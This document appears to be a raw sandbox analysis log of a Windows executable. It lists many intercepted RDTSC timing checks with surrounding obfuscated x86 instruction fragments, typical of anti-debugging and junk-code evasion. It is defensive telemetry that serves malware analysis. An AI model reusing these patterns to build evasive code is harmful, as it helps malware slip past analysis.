Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48608F8 second address: 486093F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB267EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebp 0x0000000c jmp 00007F020CB267F6h 0x00000011 mov ebp, esp 0x00000013 jmp 00007F020CB267F0h 0x00000018 pop ebp 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c mov cx, di 0x0000001f mov edi, 73C3AEDCh 0x00000024 popad 0x00000025 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 481002D second address: 4810033 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4810033 second address: 4810037 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4810037 second address: 481003B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 481003B second address: 481005C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007F020CB267F6h 0x00000010 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 481005C second address: 4810062 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4810062 second address: 4810066 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4810066 second address: 4810086 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F020CB28454h 0x00000011 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4810086 second address: 4810183 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB267EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 and esp, FFFFFFF8h 0x0000000c pushad 0x0000000d mov esi, 45DFDCFBh 0x00000012 pushfd 0x00000013 jmp 00007F020CB267F0h 0x00000018 sbb ecx, 08B9A048h 0x0000001e jmp 00007F020CB267EBh 0x00000023 popfd 0x00000024 popad 0x00000025 xchg eax, ecx 0x00000026 pushad 0x00000027 mov cx, 74DBh 0x0000002b mov edi, eax 0x0000002d popad 0x0000002e push eax 0x0000002f pushad 0x00000030 push edx 0x00000031 pushfd 0x00000032 jmp 00007F020CB267F6h 0x00000037 add eax, 323045D8h 0x0000003d jmp 00007F020CB267EBh 0x00000042 popfd 0x00000043 pop esi 0x00000044 pushfd 0x00000045 jmp 00007F020CB267F9h 0x0000004a or cx, ED76h 0x0000004f jmp 00007F020CB267F1h 0x00000054 popfd 0x00000055 popad 0x00000056 xchg eax, ecx 0x00000057 push eax 0x00000058 push edx 0x00000059 pushad 0x0000005a pushfd 0x0000005b jmp 00007F020CB267F3h 0x00000060 xor al, FFFFFFAEh 0x00000063 jmp 00007F020CB267F9h 0x00000068 popfd 0x00000069 pushfd 0x0000006a jmp 00007F020CB267F0h 0x0000006f adc esi, 3886CC28h 0x00000075 jmp 00007F020CB267EBh 0x0000007a popfd 0x0000007b popad 0x0000007c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4810183 second address: 48101CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB28459h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebx 0x0000000a pushad 0x0000000b pushfd 0x0000000c jmp 00007F020CB2844Ch 0x00000011 or esi, 070F99B8h 0x00000017 jmp 00007F020CB2844Bh 0x0000001c popfd 0x0000001d mov esi, 4C1FCDEFh 0x00000022 popad 0x00000023 push eax 0x00000024 pushad 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48101CD second address: 48101D1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48101D1 second address: 4810209 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB28457h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 popad 0x0000000a xchg eax, ebx 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e movzx eax, dx 0x00000011 call 00007F020CB28453h 0x00000016 pop ecx 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4810209 second address: 481025D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB267F6h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebx, dword ptr [ebp+10h] 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f push edx 0x00000010 pop eax 0x00000011 pushfd 0x00000012 jmp 00007F020CB267F9h 0x00000017 or cx, B876h 0x0000001c jmp 00007F020CB267F1h 0x00000021 popfd 0x00000022 popad 0x00000023 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 481025D second address: 48102A8 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB28451h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, esi 0x0000000a push eax 0x0000000b push edx 0x0000000c pushad 0x0000000d mov ecx, ebx 0x0000000f pushfd 0x00000010 jmp 00007F020CB2844Fh 0x00000015 xor si, 4E5Eh 0x0000001a jmp 00007F020CB28459h 0x0000001f popfd 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48102A8 second address: 481030F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F020CB267F7h 0x00000009 sub ecx, 4E5E286Eh 0x0000000f jmp 00007F020CB267F9h 0x00000014 popfd 0x00000015 pushfd 0x00000016 jmp 00007F020CB267F0h 0x0000001b sub cl, FFFFFFE8h 0x0000001e jmp 00007F020CB267EBh 0x00000023 popfd 0x00000024 popad 0x00000025 pop edx 0x00000026 pop eax 0x00000027 push eax 0x00000028 push eax 0x00000029 push edx 0x0000002a pushad 0x0000002b mov di, cx 0x0000002e push eax 0x0000002f push edx 0x00000030 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 481030F second address: 4810314 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4810314 second address: 4810330 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F020CB267F8h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4810330 second address: 4810394 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB2844Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, esi 0x0000000c pushad 0x0000000d call 00007F020CB28454h 0x00000012 pushfd 0x00000013 jmp 00007F020CB28452h 0x00000018 sub cx, 7B08h 0x0000001d jmp 00007F020CB2844Bh 0x00000022 popfd 0x00000023 pop eax 0x00000024 mov bh, D1h 0x00000026 popad 0x00000027 mov esi, dword ptr [ebp+08h] 0x0000002a pushad 0x0000002b push ecx 0x0000002c mov bx, 1450h 0x00000030 pop edi 0x00000031 mov al, EEh 0x00000033 popad 0x00000034 push edx 0x00000035 push eax 0x00000036 push edx 0x00000037 pushad 0x00000038 push ebx 0x00000039 pop ecx 0x0000003a push eax 0x0000003b push edx 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4810394 second address: 4810399 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4810399 second address: 481039F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 481039F second address: 48103A3 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48103A3 second address: 48103CD instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB2844Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov dword ptr [esp], edi 0x0000000e push eax 0x0000000f push edx 0x00000010 pushad 0x00000011 call 00007F020CB2844Dh 0x00000016 pop eax 0x00000017 mov si, bx 0x0000001a popad 0x0000001b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48103CD second address: 48103EA instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F020CB267F9h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48103EA second address: 4810409 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB28451h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test esi, esi 0x0000000d push eax 0x0000000e push edx 0x0000000f pushad 0x00000010 mov cl, C9h 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4810409 second address: 481046B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB267F0h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 je 00007F027F6C49DEh 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F020CB267EEh 0x00000016 sub esi, 32437A18h 0x0000001c jmp 00007F020CB267EBh 0x00000021 popfd 0x00000022 jmp 00007F020CB267F8h 0x00000027 popad 0x00000028 cmp dword ptr [esi+08h], DDEEDDEEh 0x0000002f push eax 0x00000030 push edx 0x00000031 pushad 0x00000032 pushad 0x00000033 popad 0x00000034 popad 0x00000035 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 481046B second address: 4810471 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4810471 second address: 4810495 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 je 00007F027F6C4998h 0x0000000e jmp 00007F020CB267EDh 0x00000013 mov edx, dword ptr [esi+44h] 0x00000016 push eax 0x00000017 push edx 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4810495 second address: 4810499 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4810499 second address: 481049F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 481049F second address: 48104EC instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB28452h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 or edx, dword ptr [ebp+0Ch] 0x0000000c pushad 0x0000000d movzx ecx, dx 0x00000010 movsx edi, ax 0x00000013 popad 0x00000014 test edx, 61000000h 0x0000001a jmp 00007F020CB28452h 0x0000001f jne 00007F027F6C65F6h 0x00000025 push eax 0x00000026 push edx 0x00000027 push eax 0x00000028 push edx 0x00000029 jmp 00007F020CB2844Ah 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48104EC second address: 48104F2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48104F2 second address: 48104F8 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48104F8 second address: 4810546 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB267F8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b test byte ptr [esi+48h], 00000001h 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 mov ecx, edi 0x00000014 pushfd 0x00000015 jmp 00007F020CB267F9h 0x0000001a jmp 00007F020CB267EBh 0x0000001f popfd 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4810546 second address: 481056F instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 movsx edi, cx 0x00000006 mov edi, eax 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b jne 00007F027F6C6596h 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007F020CB28454h 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 481056F second address: 481057E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB267EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4800840 second address: 4800850 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F020CB2844Ch 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4800850 second address: 4800883 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 pushad 0x0000000a mov cx, 5CB3h 0x0000000e call 00007F020CB267F8h 0x00000013 mov edx, ecx 0x00000015 pop ecx 0x00000016 popad 0x00000017 xchg eax, ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a pushad 0x0000001b mov ax, 7001h 0x0000001f popad 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48009E6 second address: 48009EC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48009EC second address: 48009F2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48009F2 second address: 4800A29 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB28456h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov ecx, esi 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F020CB28457h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4800C0C second address: 4800C27 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F020CB267F7h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4800C27 second address: 4800C88 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB28459h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov esp, ebp 0x0000000d pushad 0x0000000e pushfd 0x0000000f jmp 00007F020CB2844Ch 0x00000014 add ecx, 23BEB2D8h 0x0000001a jmp 00007F020CB2844Bh 0x0000001f popfd 0x00000020 jmp 00007F020CB28458h 0x00000025 popad 0x00000026 pop ebp 0x00000027 push eax 0x00000028 push edx 0x00000029 push eax 0x0000002a push edx 0x0000002b push eax 0x0000002c push edx 0x0000002d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4800C88 second address: 4800C8C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4800C8C second address: 4800C90 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4800C90 second address: 4800C96 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4810CE4 second address: 4810CEF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 mov ax, D2FBh 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4810CEF second address: 4810CF3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4810CF3 second address: 4810D37 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 mov ebp, esp 0x00000009 pushad 0x0000000a mov ah, 89h 0x0000000c pushfd 0x0000000d jmp 00007F020CB2844Fh 0x00000012 and ecx, 6139DBDEh 0x00000018 jmp 00007F020CB28459h 0x0000001d popfd 0x0000001e popad 0x0000001f pop ebp 0x00000020 push eax 0x00000021 push edx 0x00000022 push eax 0x00000023 push edx 0x00000024 pushad 0x00000025 popad 0x00000026 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4810D37 second address: 4810D3B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4810D3B second address: 4810D41 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4810D41 second address: 4810D47 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4810D47 second address: 4810D4B instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 488098A second address: 4880990 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4880990 second address: 48809BB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB28451h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a jmp 00007F020CB2844Eh 0x0000000f push eax 0x00000010 push eax 0x00000011 push edx 0x00000012 push eax 0x00000013 push edx 0x00000014 pushad 0x00000015 popad 0x00000016 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48809BB second address: 48809D7 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB267F8h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48809D7 second address: 48809DD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48809DD second address: 48809E1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48807B5 second address: 488084A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007F020CB2844Dh 0x00000008 push eax 0x00000009 pop edx 0x0000000a popad 0x0000000b pop edx 0x0000000c pop eax 0x0000000d xchg eax, ebp 0x0000000e pushad 0x0000000f call 00007F020CB28458h 0x00000014 pop edx 0x00000015 pushfd 0x00000016 jmp 00007F020CB2844Eh 0x0000001b and cx, B388h 0x00000020 jmp 00007F020CB2844Bh 0x00000025 popfd 0x00000026 popad 0x00000027 push eax 0x00000028 jmp 00007F020CB28459h 0x0000002d xchg eax, ebp 0x0000002e jmp 00007F020CB2844Eh 0x00000033 mov ebp, esp 0x00000035 push eax 0x00000036 push edx 0x00000037 jmp 00007F020CB28457h 0x0000003c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 488084A second address: 4880850 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4880850 second address: 4880854 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4880854 second address: 4880872 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB267EBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b pop ebp 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f mov cx, dx 0x00000012 mov edi, 5AA0F1F2h 0x00000017 popad 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48202CD second address: 48202D3 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 48202D3 second address: 482034E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB267EEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b mov edi, ecx 0x0000000d mov edi, eax 0x0000000f popad 0x00000010 push eax 0x00000011 pushad 0x00000012 pushfd 0x00000013 jmp 00007F020CB267F5h 0x00000018 and eax, 56EB78D6h 0x0000001e jmp 00007F020CB267F1h 0x00000023 popfd 0x00000024 call 00007F020CB267F0h 0x00000029 mov esi, 202F8FD1h 0x0000002e pop eax 0x0000002f popad 0x00000030 xchg eax, ebp 0x00000031 push eax 0x00000032 push edx 0x00000033 jmp 00007F020CB267F8h 0x00000038 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4880BD7 second address: 4880BDD instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4880BDD second address: 4880BE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4880BE1 second address: 4880BFF instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 pushad 0x0000000a mov eax, 1D76EF51h 0x0000000f mov ecx, 35EA2F8Dh 0x00000014 popad 0x00000015 mov dword ptr [esp], ebp 0x00000018 push eax 0x00000019 push edx 0x0000001a push eax 0x0000001b push edx 0x0000001c pushad 0x0000001d popad 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4880BFF second address: 4880C14 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB267F1h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4880C14 second address: 4880C1A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4880C1A second address: 4880C1E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4880C1E second address: 4880C78 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov ebp, esp 0x0000000a pushad 0x0000000b push ebx 0x0000000c call 00007F020CB28450h 0x00000011 pop ecx 0x00000012 pop edi 0x00000013 pushad 0x00000014 push esi 0x00000015 pop edx 0x00000016 movzx ecx, di 0x00000019 popad 0x0000001a popad 0x0000001b push dword ptr [ebp+0Ch] 0x0000001e pushad 0x0000001f movzx eax, dx 0x00000022 popad 0x00000023 push dword ptr [ebp+08h] 0x00000026 push eax 0x00000027 push edx 0x00000028 pushad 0x00000029 mov si, 2FF1h 0x0000002d pushfd 0x0000002e jmp 00007F020CB2844Eh 0x00000033 sub esi, 47D54AC8h 0x00000039 jmp 00007F020CB2844Bh 0x0000003e popfd 0x0000003f popad 0x00000040 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4880C78 second address: 4880CF2 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 mov ah, bl 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push 38513035h 0x0000000f pushad 0x00000010 pushfd 0x00000011 jmp 00007F020CB267F3h 0x00000016 sub esi, 7D51F1BEh 0x0000001c jmp 00007F020CB267F9h 0x00000021 popfd 0x00000022 push esi 0x00000023 jmp 00007F020CB267F7h 0x00000028 pop esi 0x00000029 popad 0x0000002a xor dword ptr [esp], 38503037h 0x00000031 push eax 0x00000032 push edx 0x00000033 push eax 0x00000034 push edx 0x00000035 jmp 00007F020CB267F1h 0x0000003a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4880CF2 second address: 4880CF6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4880CF6 second address: 4880CFC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4880CFC second address: 4880D02 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4880D3D second address: 4880D71 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F020CB267F9h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 movzx eax, al 0x0000000c pushad 0x0000000d call 00007F020CB267ECh 0x00000012 mov ax, EC11h 0x00000016 pop esi 0x00000017 push eax 0x00000018 push edx 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 483060C second address: 4830611 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
